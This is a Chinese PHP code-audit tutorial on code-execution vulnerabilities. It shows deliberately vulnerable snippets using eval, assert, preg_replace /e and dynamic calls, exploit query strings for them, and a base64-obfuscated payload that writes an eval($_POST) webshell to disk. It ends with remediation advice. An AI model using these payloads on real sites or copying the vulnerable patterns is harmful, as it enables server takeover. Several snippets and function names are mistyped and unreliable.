2020/1/28 PHP代码审计之代码执行漏洞

Posted 王叹之

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了2020/1/28 PHP代码审计之代码执行漏洞相关的知识,希望对你有一定的参考价值。

0x00代码执行原理

应用程序在调用一些能够将字符串转换为代码的函数(如php中的eval)时,没有考虑用户是否控制这个字符串,将造成代码执行漏洞。
该漏洞主要存在于eval()、assert()、preg_replace()、call_user_func()、array_map()以及动态函数中。
很难通过黑盒查找漏洞,大部分都是根据源代码判断代码执行漏洞。
通常会使用escapeshellarg对参数进行处理,但在低版本的PHP库函数中该函数存在漏洞(原因:Windows上未对反斜杠进行过滤),需要注意。

0x01 挖掘思路

1:用户能够控制函数输入
2:存在可执行的危险函数

0x02 常见危险函数

1:eval和assert函数
2:preg_replace函数
3:回调函数
4:动态函数执行

0x03 eval和assert函数代码实例

<?php
if(isset($_REQUEST[\'cmd\'])){
    $cmd = ($_REQUEST["cmd"]);
    system($cmd);//eval($cmd);
    echo "</pre>$cmd<pre>";
    die;
}
?>

这里的话system可以执行代码,对来自cmd中获的变量没有过滤,导致代码执行。

exp:
?cmd=phpinfo();

0x04 回调函数

代码:

<?phpfunction callback(){   
$x = $_GET[\'cmd\'];   
eval($x);//没做限制
}c
all_user_func(function \'callback\',$x);//回调了函数
>?
常见回调函数:call_user_func()  call_user_func_array()  
array_map()等

上面代码分析一下,eval危险函数被封装在了callback全局函数中,我们在最后使用了
all_user_func(function \'callback\',$x);
回调危险函数最后达到代码执行

还有一种简单的回调:

<?php 
//?cmd=phpinfo()
@call_user_func(assert,$_GET[\'cmd\']);
?>

我们没有封装,而是直接使用了assert函数来进行回调,是的cmd中传入的代码执行。

 call_user_func — 把第一个参数作为回调函数调用,其余参数是回调函数的参数。
call_user_func_array — 调用回调函数,并把一个数组参数作为回调函数的参数

0x05 动态函数执行

1:定义一个函数
2:将函数名(字符串)赋值给一个变量
2:使用变量名代替函数名动态调用函数

代码:

<?php
$_GET[\'a\']($_GET[\'b\']);//接受get请求a的参数作为一个函数,b是作为a函数里的参数
?>
exp:

?a=assert&b=phpinfo()

代码2:

<?php
$foobar = $_GET[\'foobar\'];
$dyn_func = create_function(\'$foobar\', "echo $foobar;");
$dyn_func(\'\');
?>
当提交http://127.0.0.1/create_function.php?foobar=system%28dir%29时,执行dir命令

0x06 正则表达式

代码:

<?php
//普通字符作为原子
$pattern = \'/abc/\';
$str = \'abcdefghijklmn\';
preg_match_all($pattern,$str,$res);//以数组形式存储
var_dump($res);//会以数组形式显示出来
?>

代码2:

//特殊符号的字符作为原子
$pattern = \'/\\[php\\]/\';
$str = \'[php]12345\';
preg_match_all($pattern,$str,$res);
var_dump($res);

结果:

这里特别说明一下,我们要对php转义一下,加上\\如果不加:




$pattern = \'/[php]/\';
$str = \'[php]12345\';
preg_match_all($pattern,$str,$res);
var_dump($res);

这样就不算是这种模式匹配了

代码3:

//通用字符作为原子
$pattern1 = \'/\\d/\'; //0-9
$pattern2 = \'/\\D/\'; //a-zA-Z
$str = \'123132asaaaaa222\';
$preg_match_all($pattern2,$str,$res);
var_dump($res);

代码4:

//自定义原子
$pattern1 = \'/[aj]sp/\'; //匹配[aj]中任意一个字符作为原子的asp jsp
$str = \'jjjjspspspsp\';
preg_match_all($pattern1,$str,$res);
var_dump($res);

代码5

//限定符
$pattern1 = \'/go*gle/\'; // *匹配掐面出现原子次数0次 1次或多次
$pattern2 = \'/go+gle/\'; // +匹配前面出现的原子1次或多次
$pattern3 = \'/go?gle/\'; // ?匹配前面出现的原子0次或1次

$str = \'google\';
preg_match_all($pattern3,$str,$res);
var_dump($res);

这里限定符还有贪婪模式非贪婪模式,这里我大一就已经学过了,就不再提了。

代码6

//边界限定
$pattern1 = \'/^abc/\'; // ^匹配输入字符开始的位置,必须是abc形式的开头
$pattern2 = \'/abc^/\'; // ^匹配输入字符结尾的位置,必须是abc形式的结尾
$pattern3 = \'/^abc$/\'; // ^$只匹配某字符
$str = \'abc2342dfads\';
preg_match_all($pattern3,$str,$res);
var_dump($res);

代码7


//反向引用
$pattern = \'/\\d{4}(-)\\d{2}\\\\1\\d{2}/\'; // \\\\1代表第一个()缓冲区
$str = \'2020-01-28\';
preg_match_all($pattern,$str,$res)
;var_dump($res);


0x07 preg_replace

mixed preg_replace(mixde $pattern,mixed $replacement,mixed $subject[,int $limit = -1[,int &$count]])

$pattern 正则匹配的内容 $pattern存在/e模式修正符修饰,允许代码执行

$replacement 用于替换的字符串或字符串数组

$subject 要进行搜索和替换的字符串或字符串数组

代码:

<?php 
//?cmd=phpinfo()
@preg_replace("/abc/e",$_REQUEST[\'cmd\'],"abcd");
?>

这里我们需要注意2点:
/e模式
必须匹配到正则才能代码执行

代码2:

<?php $a =str_replace(x,"","axsxxsxexrxxt");$a($_POST["code"]); ?>
**exp:

?code=fputs(fopen(base64_decode(J2MucGhwJw==),w),base64_decode("PD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg=="))**

最终执行命令"))?>

0x08 代码执行修复

尽量不要执行外部的应用程序或命令

使用自定义函数或函数库来替代外部应用程序或命令的功能

使用escappeshellarg函数来处理命令的参数
使用sare_mode_exec_dir来指定可执行的文件路径

将执行的参数做白名单限制,在代码或配置文件中限制某些参数

以上是关于2020/1/28 PHP代码审计之代码执行漏洞的主要内容,如果未能解决你的问题,请参考以下文章

2020/1/30 PHP代码审计之文件上传漏洞

2020/1/31 PHP代码审计之目录穿越漏洞

2020/1/29 PHP代码审计之XSS漏洞

php代码审计4审计代码执行漏洞

php代码审计5审计命令执行漏洞

php代码审计之CSRF漏洞